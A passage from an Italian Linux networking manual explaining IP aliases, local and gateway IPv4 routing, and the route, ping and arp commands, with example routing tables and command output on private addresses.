Per esempio, '**`eth0`**' è il nome reale di un'interfaccia di rete Ethernet, mentre '**`eth0:0`**', '**`eth0:1`**',... sono delle interfacce virtuali riferite sempre all'interfaccia reale '**`eth0`**'. Naturalmente, lo stesso vale per gli altri tipi di interfaccia di rete: '**`ppp0:`*n***', '**`plip0:`*n***',...

Figura 38.82. Utilizzo ipotetico degli alias IP.

Eventualmente, per ottenere la definizione di alias IP, potrebbe essere necessario predisporre un kernel adatto (sezione 8.3.7).

Nel momento in cui si configura un'interfaccia virtuale, questa viene definita implicitamente. Si interviene nel modo solito attraverso '**`ifconfig`**'. L'esempio seguente si riferisce a quanto mostrato nella figura 38.82, in cui, su una sola rete fisica si distinguono gli indirizzi di due sottoreti differenti: 192.168.1.0 e 192.168.100.0.

```
# ifconfig eth0 192.168.1.254 netmask 255.255.255.0 [Invio]
```

```
# ifconfig eth0:0 192.168.100.254 netmask 255.255.255.0 [Invio]
```

38.9 IPv4: instradamento locale

L'instradamento definisce il percorso che devono prendere i pacchetti di livello 3 (rete), secondo il modello ISO-OSI, a partire dal nodo di rete a cui si fa riferimento. Qui viene preso in considerazione l'instradamento locale, inteso come quello che non si serve di router.

38.9.1 Rete locale

In una rete elementare, in cui ogni elaboratore ha una sola interfaccia di rete e tutte le interfacce sono connesse allo stesso bus, potrebbe sembrare strana la necessità di dover stabilire un percorso per l'instradamento dei dati sulla rete. Ma in una rete IPv4 non è così: per qualunque connessione possibile è necessario stabilire il percorso, anche quando si tratta di connettersi con l'interfaccia locale immaginaria (*loopback*).

Ogni elaboratore che utilizza la rete ha una sola necessità: quella di sapere quali percorsi di partenza siano possibili, in funzione degli indirizzi utilizzati. Gli eventuali percorsi successivi, vengono definiti da altri elaboratori nella rete. Si tratta di costruire la cosiddetta ***tabella di instradamento***, attraverso la quale, ogni elaboratore sa quale strada deve prendere un pacchetto a partire da quella posizione.

elaboratore A
127.0.0.1 lo
plip1
192.168.7.1
192.168.7.2
plip1
elaboratore B
127.0.0.1 lo
192.168.1.1
eth0
rete 192.168.1.0

Riprendendo l'esempio già mostrato a proposito della configurazione delle interfacce di rete, si potrebbero definire le tabelle di instradamento seguenti, le quali si riferiscono rispettivamente al nodo A e al nodo B dello schema:

Destinazione	Maschera di rete	Router	Interfaccia di rete
192.168.1.0	255.255.255.0	--	eth0
192.168.7.1	255.255.255.255	--	plip1
192.168.7.2	255.255.255.255	--	plip1
127.0.0.0	255.0.0.0	--	lo

Destinazione	Maschera di rete	Router	Interfaccia di rete
192.168.7.1	255.255.255.255	--	plip1
192.168.7.2	255.255.255.255	--	plip1
127.0.0.0	255.0.0.0	--	lo

Quando si configura un'interfaccia di rete e gli si attribuisce l'indirizzo IP, dal momento che esiste una maschera di rete (indicata espressamente o predefinita), potrebbe essere lo stesso programma di configurazione dell'interfaccia a occuparsi di definire l'instradamento nella rete locale; a ogni modo, anche per l'instradamento locale è bene intervenire espressamente.

Per la spiegazione di questi instradamenti vengono mostrati nelle sezioni seguenti degli esempi ottenuti con un sistema GNU/Linux, attraverso il programma Route,[8] a cui corrisponde l'eseguibile '`route`'. Tuttavia, il concetto rimane tale per gli altri sistemi operativi, anche se la modalità per definire gli instradamenti può essere differente.

38.9.1.1 Loopback

La definizione dell'instradamento per gli indirizzi locali di *loopback* è obbligatoria:

Destinazione	Maschera di rete	Router	Interfaccia di rete
127.0.0.0	255.0.0.0	--	lo

Con un sistema GNU/Linux dovrebbe essere lo stesso programma Ifconfig che prepara l'instradamento corretto all'atto dell'impostazione dell'interfaccia '**`lo`**'; tuttavia, usando Route si potrebbe intervenire nel modo seguente:

`#` **`route add -net 127.0.0.0 netmask 255.0.0.0 dev lo`** [*Invio*][9]

La tabella di instradamento che si ottiene viene descritta di seguito.

`$` **`route -n`** [*Invio*]

```
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
127.0.0.0       0.0.0.0         255.0.0.0       U     0      0        2 lo
```

Di solito la rete 127.0.0.0 serve a raggiungere solo l'indirizzo 127.0.0.1, quindi, spesso si preferisce inserire solo questo nella tabella di instradamento. In pratica si utilizza il comando:

`#` **`route add -host 127.0.0.1 dev lo`** [*Invio*]

In questo caso non si indica la maschera di rete perché deve essere necessariamente 255.255.255.255, essendo riferita a un nodo singolo.

La verifica dell'instradamento è semplice, basta provare a richiedere un eco all'interfaccia '**`lo`**'.

`$` **`ping 127.0.0.1`** [*Invio*]

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.4 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.3 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.3 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.3 ms
```

[*Ctrl c*]

```
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.3/0.3/0.4 ms
```

38.9.1.2 Ethernet

Le interfacce di rete Ethernet sono usate per la connessione a una rete locale e per questo sono potenzialmente in grado di offrire un collegamento con tutti gli indirizzi che ricadono all'interno della rete logica di livello 3 di cui fanno parte.[10] Quando si stabilisce un instradamento che utilizza questo tipo di interfaccia, è preferibile l'indicazione dell'intera rete logica a cui appartiene.[11]

Seguendo l'esempio visto in precedenza nella sezione che riguarda la configurazione di una scheda Ethernet, dal momento che questa si trova a operare nella rete 192.168.1.0, l'instradamento corretto corrisponde allo schema seguente:

Destinazione	Maschera di rete	Router	Interfaccia di rete
192.168.1.0	255.255.255.0	--	eth0

Con un sistema GNU/Linux, se Ifconfig non ha già provveduto da solo, si può usare Route nel modo seguente:

route add -net 192.168.1.0 netmask 255.255.255.0 dev eth0 [*Invio*]

La tabella di instradamento che ne deriva viene descritta di seguito.

$ **route -n** [*Invio*]

```
Kernel IP routing table
Destination    Gateway     Genmask         Flags Metric Ref   Use Iface
192.168.1.0    0.0.0.0     255.255.255.0   U     0      0       1 eth0
```

Volendo è possibile indicare un instradamento specifico per ogni destinazione. Nell'esempio seguente si aggiunge l'instradamento per alcuni elaboratori: si deve utilizzare '**route**' più volte.

route add -host 192.168.1.1 dev eth0 [*Invio*]

route add -host 192.168.1.2 dev eth0 [*Invio*]

route add -host 192.168.1.3 dev eth0 [*Invio*]

route add -host 192.168.1.4 dev eth0 [*Invio*]

Si ottiene una tabella di instradamento simile a quella seguente:

```
Kernel IP routing table
Destination    Gateway     Genmask         Flags Metric Ref   Use Iface
192.168.1.1    0.0.0.0     255.255.255.255 UH    0      0       0 eth0
192.168.1.2    0.0.0.0     255.255.255.255 UH    0      0       0 eth0
192.168.1.3    0.0.0.0     255.255.255.255 UH    0      0       0 eth0
192.168.1.4    0.0.0.0     255.255.255.255 UH    0      0       0 eth0
```

Anche l'indirizzo dell'interfaccia locale, quella del proprio elaboratore, è raggiungibile solo se è stato specificato un instradamento. Quando si indicava un instradamento della rete, questa veniva inclusa automaticamente nel gruppo; nel caso si voglia indicare dettagliatamente ogni indirizzo da raggiungere, se si vuole accedere anche alla propria interfaccia, occorre inserirla nella tabella di instradamento. Nell'esempio visto sopra, viene aggiunto anche l'indirizzo 192.168.1.1 per questo scopo.

La verifica dell'instradamento deve essere fatta inizialmente controllando l'interfaccia locale, quindi tentando di raggiungere l'indirizzo di un altro elaboratore sulla rete. Naturalmente, occorre che quell'elaboratore abbia una tabella di instradamento corretta.

$ **ping 192.168.1.1** [*Invio*]

```
PING 192.168.1.1 (192.168.1.1): 56 data bytes
64 bytes from 192.168.1.1: icmp_seq=0 ttl=64 time=0.5 ms
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=0.4 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=0.4 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=64 time=0.4 ms
```

[*Ctrl c*]

```
--- 192.168.1.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.5 ms
```

$ **ping 192.168.1.2** [*Invio*]

```
PING 192.168.1.2 (192.168.1.2): 56 data bytes
64 bytes from 192.168.1.2: icmp_seq=0 ttl=64 time=1.1 ms
64 bytes from 192.168.1.2: icmp_seq=1 ttl=64 time=1.1 ms
64 bytes from 192.168.1.2: icmp_seq=2 ttl=64 time=1.1 ms
64 bytes from 192.168.1.2: icmp_seq=3 ttl=64 time=1.1 ms
```

[*Ctrl c*]

```
--- 192.168.1.2 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 1.1/1.1/1.1 ms
```

38.9.1.3 Connessioni punto-punto

Con le connessioni di tipo punto-punto, dal momento che riguardano esclusivamente due elaboratori, l'instradamento verso una rete non è sensato, benché possibile. In generale, è necessario aggiungere semplicemente un instradamento verso l'indirizzo all'altro capo, ma è utile aggiungere comunque l'instradamento anche all'indirizzo locale.

Seguendo l'esempio già visto in precedenza, vengono riepilogati gli instradamenti di due nodi che utilizzano entrambi l'interfaccia '**plip1**' per la connessione; in questo caso gli instradamenti sono identici:

Destinazione	Maschera di rete	Router	Interfaccia di rete
192.168.7.1	255.255.255.255	--	plip1
192.168.7.2	255.255.255.255	--	plip1

Con un sistema GNU/Linux, supponendo di usare una connessione PLIP, attraverso le porte parallele, se Ifconfig non ha già provveduto da solo, si può usare Route nel modo seguente (in entrambi i nodi, nello stesso modo, dato che il nome dell'interfaccia è lo stesso):

route add -host 192.168.7.1 dev plip1 [*Invio*]

route add -host 192.168.7.2 dev plip1 [*Invio*]

La tabella di instradamento che si ottiene viene descritta di seguito.

$ **route -n** [*Invio*]

```
Kernel IP routing table
Destination    Gateway     Genmask         Flags Metric Ref   Use Iface
192.168.7.1    0.0.0.0     255.255.255.255 UH    0      0       1 plip1
192.168.7.2    0.0.0.0     255.255.255.255 UH    0      0       1 plip1
```

Per verificare gli instradamenti, si può provare come al solito con '**ping**':

$ **ping 192.168.7.1** [*Invio*]

Oppure:

$ **ping 192.168.7.2** [*Invio*]

38.9.1.4 L'ordine delle voci nella tabella degli instradamenti

L'ordine in cui appaiono le voci nella tabella degli instradamenti è significativo, ma solitamente viene determinato in modo automatico dal sistema operativo. Si osservi lo schema seguente che rappresenta una variante dell'esempio già mostrato in precedenza:

elaboratore A
127.0.0.1 lo
plip1
192.168.1.2
192.168.1.3
plip1
elaboratore B
127.0.0.1 lo
192.168.1.1
eth0
rete 192.168.1.0

Per quanto riguarda il nodo A, come si può intuire, l'instradamento della connessione punto-punto potrebbe entrare in conflitto con quello della rete locale 192.168.1.0. In pratica, se si definiscono correttamente tutti gli instradamenti, le voci della connessione punto-punto appaiono prima nell'elenco, pertanto, l'instradamento verso un indirizzo diverso da quello della connessione punto-punto, verrebbe preso in considerazione in un momento successivo:

Destinazione	Maschera di rete	Router	Interfaccia di rete
127.0.0.0	255.0.0.0	--	lo
192.168.1.2	255.255.255.255	--	plip1
192.168.1.3	255.255.255.255	--	plip1
192.168.1.0	255.255.255.0	--	eth0

Eventualmente, il problema di una configurazione del genere si pone se si vuole consentire agli elaboratori della rete 192.168.1.0 di raggiungere in qualche modo il nodo B. In tal caso, gli elaboratori in questione dovrebbero disporre di una voce specifica per l'instradamento, dal momento che il nodo B si può raggiungere solo attraverso il nodo A (che dovrebbe fungere da router).

38.9.2 Definizione degli instradamenti nelle reti locali e verifiche con un sistema GNU/Linux

In un sistema GNU/Linux, gli instradamenti, cioè la compilazione della tabella di instradamento, vengono stabiliti attraverso Route,[12] a cui corrisponde in pratica l'eseguibile '**`route`**'.

Di solito, già Ifconfig definisce automaticamente gli instradamenti elementari, riferiti alle reti cui sono connesse le interfacce di rete. Pertanto, prima di definire un instradamento, conviene verificare la situazione già esistente dopo la configurazione delle interfacce.

38.9.2.1 Utilizzo di «route»

La sintassi di '**`route`**' può articolarsi in diversi modi a seconda del tipo di azione da compiere.

```
route [opzioni]
```

In particolare, conviene distinguere fra tre situazioni diverse, come descritto nel riepilogo seguente:

Modello	Descrizione
`route [-v] [-n] [-e	-ee]`	l'analisi della tabella di instradamento;
`route [-v] add [-net|-host] destinazione ↩ ↪ [netmask maschera_di_rete] [gw router] ↩ ↪ [altre_opzioni] [[dev] interfaccia]`	l'aggiunta di un nuovo instradamento;
`route [-v] del [-net|-host] destinazione ↩ ↪ [netmask maschera_di_rete] [gw router] ↩ ↪ [altre_opzioni] [[dev] interfaccia]`	l'eliminazione di un instradamento preesistente.

In pratica, nel primo caso è possibile visualizzare (attraverso lo standard output) la tabella di instradamento. Generalmente, per questo scopo, l'uso normale è proprio quello di '**`route`**' senza argomenti.

Nel secondo caso, l'inserimento di una nuova voce nella tabella di instradamento avviene per mezzo dell'opzione '**`add`**' e dell'indicazione della destinazione da raggiungere. L'indicazione dell'interfaccia è facoltativa, se può essere determinata in modo predefinito.

Nel terzo caso, l'eliminazione di una voce della tabella di instradamento avviene per mezzo

dell'opzione '**`del`**' e dell'indicazione della destinazione che prima veniva raggiunta. Anche in questo caso, l'indicazione dell'interfaccia è facoltativa, se può essere determinata in modo predefinito.

Quando si visualizza la tabella degli instradamenti, il programma tenta di risolvere gli indirizzi in nomi. Spesso, questo fatto può essere inopportuno, pertanto è comune l'uso dell'opzione '**`-n`**' con cui si evita tale conversione e non si perde tempo nel tentativo di risolvere indirizzi che non hanno un nome.
Si osservi che, solitamente, la risoluzione di un indirizzo relativo a una rete, non ha un nome offerto dal servizio DNS, pertanto occorre predisporre il file '`/etc/networks`', per consentire tale trasformazione.

Tabella 38.102. Alcune opzioni.

Opzione	Descrizione
`-n`	Mostra solo indirizzi numerici invece di tentare di determinare i nomi simbolici dei nodi e delle reti. Questo tipo di approccio potrebbe essere utile specialmente quando si ha difficoltà ad accedere a un servizio di risoluzione dei nomi, o comunque quando si vuole avere la situazione completamente sotto controllo.
`-net` ***destinazione***	L'indirizzo indicato nella destinazione fa riferimento a una rete. L'indirizzo può essere indicato in forma numerica o attraverso un nome di dominio; in questo ultimo caso, la traduzione avviene in base al contenuto del file '`/etc/networks`'.
`-host` ***destinazione***	L'indirizzo indicato nella destinazione fa riferimento a un nodo. L'indirizzo può essere indicato in forma numerica o attraverso un nome di dominio.
`netmask` ***maschera_di_rete***	Permette di specificare la maschera di rete quando si sta facendo riferimento a un indirizzo di rete. Quando si inserisce una voce riferita a un nodo singolo, questa indicazione non ha senso. Quando la maschera di rete è un dato richiesto, se non viene inserito si assume il valore predefinito che dipende dalla classe a cui appartiene l'indirizzo indicato.
`gw` ***router***	Fa in modo che i pacchetti destinati alla rete o al nodo per il quale si sta indicando l'instradamento, passino per il router specificato. Per questo, occorre che l'instradamento verso l'elaboratore che funge da router sia già stato definito precedentemente e in modo statico. Normalmente, l'indirizzo utilizzato come router riguarda un'interfaccia collocata in un altro nodo. Eventualmente, per mantenere la compatibilità con Unix BSD, è possibile specificare un'interfaccia locale, intendendo così che il traffico per l'indirizzo di destinazione deve avvenire utilizzando quella interfaccia.
`metric` ***valore_metrico***	Permette di definire il valore metrico dell'instradamento e viene utilizzato dai demoni che si occupano dell'instradamento dinamico per determinare il ***costo*** di una strada, o meglio per poter decidere il percorso migliore.
`reject`	Permette di impedire l'utilizzo di un instradamento.

Opzione	Descrizione
[dev] *interfaccia*	Permette di definire esplicitamente l'interfaccia da utilizzare per un certo instradamento. Solitamente, questa informazione non è necessaria perché il kernel riesce a determinare l'interfaccia in base alla configurazione delle stesse. È importante che questa indicazione appaia alla fine della riga di comando, in questo modo, il parametro '**`dev`**', che precede il nome dell'interfaccia, è solo facoltativo.

Quando si interroga la tabella degli instradamenti, si ottiene una struttura composta da diverse colonne, in cui, quelle principali sono descritte nella tabella 38.103.

Tabella 38.103. Intestazioni della tabella di instradamento.

Nome	Descrizione
`Destination`	La rete o il nodo di destinazione.
`Gateway`	Il router. Se appare un asterisco ('**`*`**') o l'indirizzo 0.0.0.0 significa che non si tratta di un instradamento attraverso un router.
`Genmask`	In linea di massima corrisponde alla maschera di rete; in particolare, se è un instradamento verso un nodo appare 255.255.255.255, se invece è l'instradamento predefinito appare 0.0.0.0 ('**`default`**').
`Flags`	Indica diversi tipi di informazioni utilizzando lettere o simboli.
`Metric`	La distanza o il costo della strada. Rappresenta la distanza (espressa solitamente in *hop* o salti) per raggiungere la destinazione.
`Ref`	Il numero di riferimenti all'instradamento. Questa informazione non viene utilizzata dal kernel Linux e, di conseguenza, l'informazione appare sempre azzerata.
`Use`	Conteggio del numero di volte in cui la voce è stata visionata.
`Iface`	Il nome dell'interfaccia da cui partono i pacchetti IP.

I tipi di informazioni che possono essere rappresentati nella colonna '**`Flags`**' sono elencati nella tabella 38.104.

Tabella 38.104. Significato delle lettere e dei simboli utilizzati nella colonna '**`Flags`**' della tabella di instradamento.

Simbolo	Descrizione
`U`	L'instradamento è attivo.
`H`	L'indirizzo indicato fa riferimento a un nodo.
`G`	Viene utilizzato un router.
`R`	Instradamento reintegrato (instradamento dinamico).
`D`	Instradamento installato dinamicamente da un demone o attraverso ridirezione.
`M`	Instradamento modificato da un demone o attraverso ridirezione.
`!`	Instradamento impedito (opzione '**`reject`**').

Seguono alcuni esempi di utilizzo.

- # **route add -host 127.0.0.1 dev lo** [*Invio*]

  Attiva l'instradamento verso l'interfaccia locale *loopback*.

- # **route add -net 192.168.1.0 netmask 255.255.255.0 dev eth0** [*Invio*]

  Attiva l'instradamento della rete 192.168.1.0 che utilizza la maschera di rete 255.255.255.0, specificando che riguarda l'interfaccia di rete '`eth0`'.

- # **route add -net 192.168.2.0 netmask 255.255.255.0 ↩**
  ↪ gw 192.168.1.254 [*Invio*]

  Attiva l'instradamento della rete 192.168.2.0 che utilizza la maschera di rete 255.255.255.0, attraverso il router 192.168.1.254 per il quale è già stato definito un instradamento precedentemente.

- # **route add default gw 192.168.1.254** [*Invio*]

  Attiva l'instradamento predefinito (nel caso che non siano disponibili altre possibilità) attraverso il router 192.168.1.254. La parola '`default`' fa automaticamente riferimento all'indirizzo IP 0.0.0.0.

- # **route add 10.0.0.0 netmask 255.0.0.0 reject** [*Invio*]

  Definisce un instradamento il cui accesso deve essere impedito.

- $ **route** [*Invio*]

  Mostra la tabella di instradamento attuale.

38.9.3 Verifica di un instradamento

La definizione degli instradamenti, serve per stabilire un collegamento con le interfacce di altri elaboratori. Quando anche le tabelle di instradamento degli altri elaboratori sono corrette, si può verificare che le comunicazioni sono possibili attraverso il programma '`ping`'.

Il programma '`ping`' permette di inviare una richiesta di eco a un indirizzo determinato, ovvero, a un'interfaccia determinata. Si riesce a ottenere l'eco solo se l'instradamento verso quell'indirizzo è funzionante e, nello stesso modo, se è attivo quello di ritorno gestito a partire dall'indirizzo di destinazione.

nodo A
richiesta di eco, ICMP 8 (ping)
nodo B
risposta a una richiesta di eco, ICMP 0 (pong)

Normalmente si procede controllando prima l'indirizzo della propria interfaccia locale, quindi, via via si tenta di raggiungere indirizzi più lontani.

38.9.3.1 Utilizzo di «ping»

Il programma '**ping**' [13] permette di inviare una richiesta di eco a un indirizzo, utilizzando il protocollo ICMP, verificando di ricevere tale eco in modo corretto. Questo programma viene usato quasi sempre senza opzioni, in modo da ottenere una richiesta di eco continuo, a intervalli di un secondo, che può essere interrotta attraverso la tastiera con la combinazione virtuale <*Control_c*> (di solito coincide proprio con la combinazione reale [*Ctrl c*]). Tuttavia, dal momento che '**ping**' serve a scoprire dei problemi negli instradamenti e nel sistema di trasporto generale, può essere conveniente intervenire sulla dimensione dei pacchetti trasmessi e sul loro contenuto.

```
ping [opzioni] indirizzo
```

Tabella 38.106. Alcune opzioni.

Opzione	Descrizione
`-c` ***quantità***	Conclude il funzionamento di '**ping**' dopo aver ricevuto il numero indicato di risposte.
`-f`	Invia la maggior quantità possibile di pacchetti di richiesta, limitandosi a segnalare graficamente la quantità di quelli che risultano persi, cioè per i quali non si ottiene l'eco di risposta. Serve per analizzare pesantemente un tratto di rete, tenendo conto che questa possibilità va usata con prudenza. Proprio a causa della pericolosità di tale opzione, questa può essere richiesta solo dall'utente '**root**'.
`-i` ***n_secondi_pausa***	Permette di stabilire una pausa, espressa in secondi, tra l'invio di una richiesta di eco e la successiva. Se non viene utilizzata l'opzione '**-f**', il valore predefinito di questa è di un secondo.
`-p` ***stringa_di_riempimento***	Permette di aggiungere un massimo di 16 byte ai pacchetti utilizzati da '**ping**', specificandone il contenuto in esadecimale. Ciò può essere utile per verificare il passaggio di pacchetti che hanno contenuti particolari e che per qualche ragione possono avere delle difficoltà.
`-s` ***dimensione***	Permette di definire la dimensione dei pacchetti utilizzati, a cui si aggiunge l'intestazione ICMP. Il valore predefinito è di 56 byte a cui si aggiungono 8 byte di intestazione (64 in tutto).

Segue la descrizione di alcuni esempi.

- `$` **`ping 192.168.1.1`** [*Invio*]

  Invia una richiesta di eco all'indirizzo 192.168.1.1, a intervalli regolari di un secondo, fino a che riceve un segnale di interruzione.

- `$` **`ping -c 1 192.168.1.1`** [*Invio*]

  Invia una richiesta di eco all'indirizzo 192.168.1.1 e termina di funzionare quando riceve la prima risposta di eco.

- `$` **`ping -p ff 192.168.1.1`** [*Invio*]

  Invia una richiesta di eco all'indirizzo 192.168.1.1, utilizzando pacchetti contenenti una serie di byte con tutti i bit a uno (FF_{16}).

- $ **ping -s 30000 192.168.1.1** [*Invio*]

  Invia una richiesta di eco all'indirizzo 192.168.1.1, utilizzando pacchetti lunghi 30000 byte, oltre all'intestazione ICMP.

38.9.4 ARP

Nella sezione 38.4, si accenna al protocollo ARP, con il quale si ottengono le corrispondenze tra indirizzi di livello 2 (collegamento dati) e indirizzi di livello 3 (rete), ovvero IP nel caso di TCP/IP. In particolare si fa riferimento a una tabella ARP che viene aggiornata automaticamente da ogni nodo durante il suo funzionamento.

Potrebbe essere interessante ispezionare ed eventualmente modificare il contenuto di questa tabella ARP, cosa che si fa con il programma '**arp**'.[14]

Ci sono situazioni in cui il protocollo ARP non può funzionare e in quei casi è possibile predisporre una tabella ARP preconfezionata attraverso la configurazione di un file: '`/etc/ethers`'.

38.9.4.1 Utilizzo di «arp»

Il programma '**arp**' permette di ispezionare e di modificare la tabella ARP del sistema.

```
arp opzioni
```

Tabella 38.107. Alcune opzioni.

Opzione	Descrizione
`-n` `--numeric`	Mostra solo indirizzi numerici invece di tentare di determinare i nomi simbolici dei nodi.
`-a` [*nodo*] `--display` [*nodo*]	Mostra le voci corrispondenti a un nodo particolare, oppure tutti gli abbinamenti conosciuti.
`-d` *nodo* `--delete` *nodo*	Elimina le voci riferite al nodo indicato.
`-s` *nodo* *indirizzo_fisico*	Crea una voce nella tabella ARP, abbinando l'indirizzo di un nodo a un indirizzo fisico (generalmente si tratta di un indirizzo Ethernet).
`-f` *file* `--file` *file*	Indica un file da utilizzare per caricare delle voci nella tabella ARP. Generalmente, quando le interfacce sono di tipo Ethernet, questo file è rappresentato da '`/etc/ethers`'.

Segue la descrizione di alcuni esempi.

- # **arp -a** [*Invio*]

Elenca tutte le voci accumulate nella tabella ARP.

• # **arp -a 192.168.1.2** [*Invio*]

Mostra le voci riferite esclusivamente al nodo 192.168.1.2.

• # **arp -n -a 192.168.1.2** [*Invio*]

Come nell'esempio precedente, mostrando solo indirizzi numerici.

• # **arp -d 192.168.1.2** [*Invio*]

Cancella le voci riferite al nodo 192.168.1.2 contenute nella tabella ARP.

• # **arp -s 192.168.1.2 00:01:02:03:04:05** [*Invio*]

Assegna permanentemente (per la durata del funzionamento del sistema) l'indirizzo Ethernet 00:01:02:03:04:05 all'indirizzo IP 192.168.1.2.

• # **arp -f /etc/ethers** [*Invio*]

Legge il file '`/etc/ethers`' e utilizza il contenuto per definire delle voci permanenti nella tabella ARP.

38.9.4.2 File «/etc/ethers»

Il file '`/etc/ethers`' può essere usato per configurare a priori l'abbinamento tra indirizzi Ethernet (livello 2 del modello ISO-OSI) e indirizzi IP. Questo file può contenere esclusivamente delle righe composte da due elementi: l'indirizzo IP (o il nome) corrispondente a un'interfaccia e a fianco l'indirizzo Ethernet corrispondente. Si osservi l'esempio seguente:

```
192.168.1.2 00:01:02:03:04:05
192.168.1.3 00:14:02:23:07:1c
192.168.1.4 00:00:03:2d:00:0b
```

38.10 IPv4: instradamento oltre l'ambito della rete locale

Quando si ha la necessità di raggiungere una destinazione che non si trova a essere connessa con la rete fisica a cui si accede, c'è bisogno di un intermediario, ovvero un elaboratore connesso alla stessa rete fisica a cui accede l'elaboratore locale, che sia in grado di inoltrare i pacchetti alle destinazioni richieste. Questo elaboratore è il router, anche se nel linguaggio corrente si usa prevalentemente il termine *gateway* che però non è preciso.

Figura 38.109. Il router consente di raggiungere destinazioni al di fuori della rete fisica a cui si è connessi.

Per poter definire un instradamento attraverso un router bisogna che prima, l'elaboratore che svolge questa funzione, sia raggiungibile attraverso una rete locale e per mezzo di instradamenti già definiti.

La verifica di un instradamento che fa uso di un router è più delicata: si comincia con una richiesta di eco ICMP (*ping*) verso la propria interfaccia locale, quindi verso il router e successivamente si tenta di raggiungere qualcosa che si trova oltre il router.

38.10.1 Destinazione irraggiungibile

I router, dovendo vagliare il traffico dei pacchetti che li attraversano, hanno il compito di informare l'origine quando ricevono un pacchetto che, per qualche ragione, non possono far pervenire alla destinazione. Per esempio, un router che rappresenta l'ultimo salto prima di un certo elaboratore, se si accorge che questo elaboratore non è presente (magari è spento), quando riceve un pacchetto destinato a tale elaboratore, deve informare l'origine.

L'errore di questo tipo viene segnalato con un pacchetto ICMP di tipo 3, a cui corrisponde la definizione '**`destination-unreachable`**'.

Figura 38.110. Messaggio ICMP di errore generato dal router che si accorge del problema.

38.10.2 Router per accedere ad altre reti e instradamento predefinito

Una rete locale potrebbe essere articolata in sottoreti in modo da evitare di sovraffollare di traffico un'unica rete. Per fare in modo che le sottoreti possano comunicare tra loro in caso di necessità, si devono utilizzare i router che funzionano come ponti tra una sottorete e un'altra.

In questo modo, quando si indica un instradamento che fa riferimento a un router, lo si definisce per una rete logica particolare, quella a cui il router è in grado di accedere.

Secondo lo schema seguente, il router 192.168.1.254 viene utilizzato per accedere alla rete 192.168.7.0.[15]

Destinazione	Maschera di rete	Router	Interfaccia di rete
192.168.1.0	255.255.255.0	--	eth0
192.168.7.0	255.255.255.0	192.168.1.254	eth0

Figura 38.112. Schema dell'instradamento attraverso un router.

Con un sistema GNU/Linux si può usare Route nel modo seguente:

```
# route add -net 192.168.7.0 netmask 255.255.255.0 ↩
↪       gw 192.168.1.254 dev eth0 [Invio]
```

Supponendo già definito l'instradamento verso la rete locale 192.168.1.0, in modo da poter raggiungere il router, si può ottenere il risultato seguente:

```
$ route -n [Invio]
```

```
Kernel IP routing table
Destination  Gateway       Genmask       Flags Metric Ref   Use Iface
192.168.1.0  0.0.0.0       255.255.255.0 U     0      0       1 eth0
192.168.7.0  192.168.1.254 255.255.255.0 UG    0      0       0 eth0
```

Se il router è in grado di raggiungere anche altre reti, non si fa altro che inserire gli instradamenti relativi nel modo appena visto.

```
# route add -net 192.168.77.0 netmask 255.255.255.0 ↩
↪       gw 192.168.1.254 dev eth0 [Invio]
```

```
$ route -n [Invio]
```

```
Kernel IP routing table
Destination   Gateway        Genmask        Flags Metric Ref Use Iface
192.168.1.0   0.0.0.0        255.255.255.0  U     0      0     1 eth0
192.168.7.0   192.168.1.254  255.255.255.0  UG    0      0     0 eth0
192.168.77.0  192.168.1.254  255.255.255.0  UG    0      0     0 eth0
```

Quando si vuole fare riferimento a tutti gli indirizzi possibili, si utilizza il numero IP 0.0.0.0, corrispondente al nome simbolico '`default`'. Per indicare un instradamento che permette di raggiungere tutte le destinazioni che non sono state specificate diversamente, si utilizza questo indirizzo simbolico.

Da un punto di vista puramente logico, l'indirizzo 0.0.0.0, associato alla maschera di rete 0.0.0.0, corrisponde effettivamente alla rete che comprende tutti gli indirizzi possibili, quindi un instradamento che fa riferimento alla rete 0.0.0.0 è quello per «tutti gli indirizzi».

Teoricamente, è possibile utilizzare l'instradamento predefinito per accedere alla rete locale, ma questo è comunque un approccio sconsigliabile, perché esclude la disponibilità di altre reti a cui poter accedere.

Destinazione	Maschera di rete	Router	Interfaccia di rete
0.0.0.0	0.0.0.0	--	eth0

Nell'esempio seguente si utilizza il nome simbolico '**`default`**' per indicare l'indirizzo di rete 0.0.0.0 e l'interfaccia viene definita esplicitamente.

`#` **`route add -net default dev eth0`** [*Invio*]

`$` **`route -n`** [*Invio*]

```
Kernel IP routing table
Destination  Gateway    Genmask      Flags Metric Ref    Use Iface
0.0.0.0      0.0.0.0    0.0.0.0      U     0      0        1 eth0
```

L'uso di un instradamento predefinito sulla propria rete locale, può avere effetti deleteri: l'eco ICMP (*ping*) può funzionare correttamente, mentre altre connessioni che richiedono protocolli più sofisticati possono trovarsi in difficoltà. Questo è particolarmente vero in presenza di connessioni PLIP.

L'approccio più comune consiste invece nel definire l'instradamento '**`default`**' come passante per un router: potrebbe trattarsi di un router che permette di accedere a tutte le altre sottoreti esistenti.

Destinazione	Maschera di rete	Router	Interfaccia di rete
192.168.1.0	255.255.255.0	--	eth0
0.0.0.0	0.0.0.0	192.168.1.254	eth0

Figura 38.118. Schema dell'instradamento attraverso un router.

Con un sistema GNU/Linux, la cosa si traduce in pratica nel comando seguente:

`#` **`route add -net default gw 192.168.1.254 dev eth0`** [*Invio*]

L'instradamento verso la rete locale 192.168.1.0 è già stato definito in modo da poter raggiungere il router; di conseguenza:

$ **route -n** [*Invio*]

```
Kernel IP routing table
Destination  Gateway        Genmask        Flags Metric Ref Use Iface
192.168.1.0  0.0.0.0        255.255.255.0  U     0      0     1 eth0
0.0.0.0      192.168.1.254  0.0.0.0        UG    0      0     0 eth0
```

